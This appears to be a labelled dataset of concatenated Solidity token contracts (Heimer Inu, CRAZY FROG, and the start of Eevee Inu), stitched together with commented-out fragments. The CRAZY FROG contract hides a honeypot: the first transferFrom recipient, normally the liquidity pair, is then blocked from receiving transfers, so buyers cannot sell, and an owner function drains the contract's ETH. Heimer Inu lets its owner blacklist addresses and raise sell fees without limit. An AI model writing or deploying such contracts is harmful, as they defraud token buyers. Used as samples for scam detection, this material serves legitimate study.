require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract HeimerInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
uint8 private _decimals = 9;
//
string private _name = "Heimer Inu";
string private _symbol = "$HMI";
uint256 private _tTotal = 1000 * 10**9 * 10**uint256(_decimals);
// % to holders
uint256 public defaultTaxFee = 1;
uint256 public _taxFee = defaultTaxFee;
uint256 private _previousTaxFee = _taxFee;
// % to swap & send to marketing wallet
uint256 public defaultMarketingFee = 10;
uint256 public _marketingFee = defaultMarketingFee;
uint256 private _previousMarketingFee = _marketingFee;
uint256 public _marketingFee4Sellers = 10;
bool public feesOnSellersAndBuyers = true;
uint256 public _maxTxAmount = _tTotal.div(1).div(50);
uint256 public numTokensToExchangeForMarketing = _tTotal.div(100).div(100);
address payable public marketingWallet = payable(0x178663a29A5A606a522727AC32a8460A73080568);
//
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public _isBlacklisted;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tFeeTotal;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndSend;
bool public SwapAndSendEnabled = true;
event SwapAndSendEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwapAndSend = true;
_;
inSwapAndSend = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = false;
}
function removeAllFee() private {
if(_taxFee == 0 && _marketingFee == 0) return;
_previousTaxFee = _taxFee;
_previousMarketingFee = _marketingFee;
_taxFee = 0;
_marketingFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_marketingFee = _previousMarketingFee;
}
//to recieve ETH
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function addToBlackList(address[] calldata addresses) external onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
_isBlacklisted[addresses[i]] = true;
}
}
function removeFromBlackList(address account) external onlyOwner {
_isBlacklisted[account] = false;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tMarketing = calculateMarketingFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing);
return (tTransferAmount, tFee, tMarketing);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeMarketing(uint256 tMarketing) private {
uint256 currentRate = _getRate();
uint256 rMarketing = tMarketing.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rMarketing);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tMarketing);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateMarketingFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_marketingFee).div(
10**2
);
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlacklisted[from] && !_isBlacklisted[to], "This address is blacklisted");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + send lock?
// also, don't get caught in a circular sending event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (
overMinTokenBalance &&
!inSwapAndSend &&
from != uniswapV2Pair &&
SwapAndSendEnabled
) {
SwapAndSend(contractTokenBalance);
}
if(feesOnSellersAndBuyers) {
setFees(to);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function setFees(address recipient) private {
_taxFee = defaultTaxFee;
_marketingFee = defaultMarketingFee;
if (recipient == uniswapV2Pair) { // sell
_marketingFee = _marketingFee4Sellers;
}
}
function SwapAndSend(uint256 contractTokenBalance) private lockTheSwap {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), contractTokenBalance);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
contractTokenBalance,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
marketingWallet.transfer(contractETHBalance);
}
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeMarketing(tMarketing);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function setDefaultMarketingFee(uint256 marketingFee) external onlyOwner() {
defaultMarketingFee = marketingFee;
}
function setMarketingFee4Sellers(uint256 marketingFee4Sellers) external onlyOwner() {
_marketingFee4Sellers = marketingFee4Sellers;
}
function setFeesOnSellersAndBuyers(bool _enabled) public onlyOwner() {
feesOnSellersAndBuyers = _enabled;
}
function setSwapAndSendEnabled(bool _enabled) public onlyOwner() {
SwapAndSendEnabled = _enabled;
emit SwapAndSendEnabledUpdated(_enabled);
}
function setnumTokensToExchangeForMarketing(uint256 _numTokensToExchangeForMarketing) public onlyOwner() {
numTokensToExchangeForMarketing = _numTokensToExchangeForMarketing;
}
function _setMarketingWallet(address payable wallet) external onlyOwner() {
marketingWallet = wallet;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-17
*/
pragma solidity ^0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract BEP20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "CFG";
name = "CRAZY FROG";
decimals = 9;
_totalSupply = 60 * 10**6 * 10**8;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
/**
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
}
*/
contract Crazycontract is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
}
/**
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
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/**
*Submitted for verification at Etherscan.io on 2021-11-02
*/
/*
Eevee Inu
1 Quadrillion supply
2% Dev tax
5% Marketing
1% Liquidity
2% Reflection
Telegram: https://t.me/EeveeInuETH
Twitter: https://twitter.com/EeveeInuETH
Website: http://www.eeveeinu.com/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
